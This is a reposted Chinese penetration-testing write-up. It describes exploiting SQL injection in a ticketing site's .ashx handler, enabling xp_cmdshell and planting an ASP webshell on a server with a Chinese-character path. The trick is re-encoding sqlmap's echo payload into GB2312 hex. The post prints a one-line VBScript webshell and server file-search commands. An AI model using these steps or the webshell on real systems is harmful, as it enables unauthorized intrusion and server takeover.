SQLserver写Webshell总结-突破中文路径

背景
目标站:

20211015234601-ffa41854-2dce-1

发现授权文件,刷新抓包得到一处ajax请求指向了TicketsSellMainHandler.ashx文件

20211015234614-06ff7f80-2dcf-1
20211015234626-0e32115a-2dcf-1

存在注入

20211015234642-17dfb54a-2dcf-1

开始踩坑
本来打算通过注入开启XP_cmdshell提权拿到源码 进一步进行审计
通过dir命令得到该站绝对路径

20211015234653-1e97ce40-2dcf-1

发现是中文绝对路径,这个时候在不考虑powershell上线的方式用echo进行写马已经行不通了
mssql调用cmd默认是gb2312编码,使用sqlmap进行echo写马其编码是UTF-8

20211015234734-3709cf5a-2dcf-1

powershell上线
尝试powershell上线,发现该服务器存在360,上线失败,暂不考虑bypass

20211015234746-3e5919e6-2dcf-1

使用BAT文件写shell
尝试使用sqlmap自带的命令–file-write写bat文件getshell
这里知道了mssql调用cmd的编码是gb2312 所以本地的bat文件编码也要是gb2312

20211015234758-45630ee0-2dcf-1

将本地1.bat文件利用windows的certutil文件写到对方D盘的1c.bat

20211015234835-5b82ccce-2dcf-1

type看看中文是否乱码

20211015234843-60178dce-2dcf-1

没有乱码,但是在接下来运行bat文件中又踩坑了==
多次测试都发现asp的木马中 % 文件跟bat不兼容
在本机中测试 发现木马被写成了这个样==

20211015234850-64254eba-2dcf-1

期间尝试过没有%的木马

<SCRIPT language=VBScript runat=”server”>execute request(“MH”)</SCRIPT>
但是由于该机器的配置原因都失败
遂放弃

手工写shell
将sqlmap代理到burp 抓echo写马的数据包

20211015234907-6e3a554e-2dcf-1

将这段hex通过UTF-8解码

20211015234913-71f55238-2dcf-1

没有乱码,同理,如果通过GB2312解码一定会乱码,mssql调用cmd使用的便是GB2312编码
将echo xxx 通过GB2313 hex编码

20211015234920-75e3c3ca-2dcf-1

对比之前UTF-8和GB2313编码的不同

20211015234929-7b5da6ea-2dcf-1

将burp中原来UTF-8编码的hex改为GB2313编码的hex 然后Forward

20211015234936-7febe03c-2dcf-1

这次没有提示找不到路径 访问该shell写入成功

certutil下载上线

20211015234944-8476cc8e-2dcf-1
20211015234951-88c8800c-2dcf-1

总结
查找文件
1、dir/s/b d:1.txt
2、for /r “D:” %i in (*.ashx) do echo %i
3、%windir%system32inetsrvappcmd list VDIR

转载自

https://xz.aliyun.com/t/10375

本文转载自https://xz.aliyun.com/t/10375,只做本站测试使用,本文观点不代表安强科技社区立场。

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年3月17日 下午2:50
下一篇 2022年3月17日 下午3:37

相关推荐

发表回复

您的电子邮箱地址不会被公开。